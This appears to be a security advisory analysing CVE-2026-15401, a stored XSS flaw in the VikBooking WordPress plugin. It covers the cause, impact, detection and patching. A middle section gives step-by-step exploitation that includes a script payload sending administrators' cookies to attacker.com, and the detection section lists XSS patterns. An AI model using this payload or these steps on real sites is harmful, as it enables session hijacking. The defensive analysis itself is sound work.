CVE-2026-15401: 
WordPress 脆弱性の分析と軽減

CVE-2026-15401 is a Stored Cross-Site Scripting (XSS) vulnerability in the VikBooking Hotel Booking Engine & PMS plugin for WordPress, affecting all versions up to and including 1.8.13. The flaw allows unauthenticated remote attackers to inject arbitrary web scripts via the vbfX parameter through the public-facing saveorder task, which lacks any authentication or capability checks. It was published on July 24, 2026, with a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from insufficient input sanitization and output escaping of the vbfX custom-field parameter (GitHub Advisory). The vulnerable code path runs through the public-facing saveorder task in site/controller.php (lines 304, 919, 1083), which stores the vbfX value without authentication or capability checks, and the stored value is later rendered unsanitized in admin/views/editorder/tmpl/default.php (lines 1405, 1420) (Wordfence). Because no authentication is required to submit the payload, any network-accessible attacker can persist malicious scripts that execute in the browser of any user who views the affected booking order page.

Successful exploitation allows unauthenticated attackers to persistently inject malicious JavaScript that executes in the context of any user — including administrators — who accesses an injected booking order page. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users, and potential site defacement. The changed scope (S:C) in the CVSS vector reflects that the injected scripts can affect resources beyond the plugin itself, including the broader WordPress site and its administrative interface (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running the VikBooking Hotel Booking Engine & PMS plugin version ≤ 1.8.13 using tools like WPScan, Shodan, or by checking the plugin's readme.txt file at https://target.com/wp-content/plugins/vikbooking/readme.txt.
2. Locate the vulnerable endpoint: Identify the public-facing booking order submission endpoint that invokes the saveorder task in site/controller.php.
3. Craft the malicious payload: Prepare a stored XSS payload to be submitted as the vbfX parameter value, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Submit the unauthenticated request: Send an HTTP POST request to the saveorder task endpoint with the crafted vbfX parameter — no authentication or capability token is required, so the payload is accepted and stored in the database.
5. Trigger execution: Wait for an administrator or authenticated user to view the affected booking order in the WordPress admin panel (admin/views/editorder/tmpl/default.php), at which point the stored script executes in their browser, enabling session hijacking or further compromise (GitHub Advisory, Wordfence).

• Network: Unexpected HTTP POST requests to the VikBooking saveorder endpoint from unauthenticated or anonymous sources containing script tags or encoded JavaScript in the vbfX parameter field.
• Logs: WordPress access logs showing POST requests to the booking controller with anomalous vbfX values containing <script>, javascript:, onerror=, or similar XSS patterns; repeated submissions from the same IP without a corresponding authenticated session.
• Database: Entries in the VikBooking orders or custom fields table where the vbfX column contains HTML script tags or JavaScript event handlers rather than expected booking field data.
• Browser/Admin: Unexpected redirects, pop-ups, or outbound requests to unknown domains triggered when administrators view booking order details in the WordPress admin panel.

Site administrators should update the VikBooking Hotel Booking Engine & PMS plugin to a version newer than 1.8.13, which includes the fix applied in changeset 3610507 (GitHub Advisory). As an interim workaround, deploying a Web Application Firewall (WAF) rule to block script injection patterns in the vbfX parameter can reduce exposure. Additionally, restricting public access to the saveorder task endpoint at the server or firewall level — if operationally feasible — can prevent unauthenticated payload submission until the patch is applied (Wordfence).